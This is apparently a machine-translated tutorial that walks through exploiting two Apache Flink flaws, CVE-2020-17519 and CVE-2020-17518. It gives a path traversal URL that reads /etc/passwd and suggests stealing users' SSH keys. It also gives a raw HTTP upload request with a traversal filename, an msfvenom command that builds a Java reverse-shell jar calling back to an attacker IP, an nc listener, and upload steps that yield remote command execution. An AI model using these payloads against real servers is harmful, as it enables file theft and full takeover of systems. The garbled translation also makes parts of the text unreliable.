What is the vulnerability analysis of CVE-2020-17519 read by Apache Flink arbitrary files?

This article shows you what the CVE-2020-17519 vulnerability analysis of Apache Flink arbitrary file reading is like, the content is concise and easy to understand, it can definitely brighten your eyes. I hope you can get something through the detailed introduction of this article.

I. arbitrary file reading (CVE-2020-17519)

Visit: http://your-ip:8081 to enter the Apache Flink control panel:

Use poc in the address bar:

Http:/x.x.x.x:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

Read the / etc/passwd file:

In the test, it is found that it is not feasible to read / etc/shadow file, there is a permission problem, and the access will report an error directly:

However, you can try to use any file read attempt to read the ssh private key of the user's .ssh folder in the / home directory for ssh login, and then extract. (the author has not tried, you can explore according to this train of thought.)

2. Upload any file (CVE-2020-17518)

Arbitrary file uploads exist at the Submit New Job of the Apache Flink dashboard:

Use POC:

POST / jars/upload HTTP/1.1

Host: localhost:8081

Accept-Encoding: gzip, deflate

Accept: * / *

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y

Content-Length: 187

-WebKitFormBoundaryoZ8meKnrrso89R6Y

Content-Disposition: form-data; name= "jarfile"; filename= ".. / tmp/success"

Success

-WebKitFormBoundaryoZ8meKnrrso89R6Y--

Enter the test environment to check that the success has been uploaded successfully:

In addition, we can upload jar horses to monitor the bounce and execute remote commands.

First, we use kali's MSF to generate jar horses:

Msfvenom-p java/shell_reverse_tcp lhost=192.168.153.6 lport=5555-f jar > / home/kali/Desktop/shell.jar

Where lhost is the IP,lport of the local machine is the bouncing port.

You can see that the jar horse (shell.jar) has been generated successfully.

Then create a new command line window on the local machine and use nc to listen on the port: nc-lvvp 5555

Finally, upload the generated jar horse through the Submit New Job module:

Click Submit to monitor the jar horse bounce:

Execute remote commands:

We can see here that his startup is not a root user, and he can better verify that an error was reported when reading shadow files when reading files, which is related to the permission problem.

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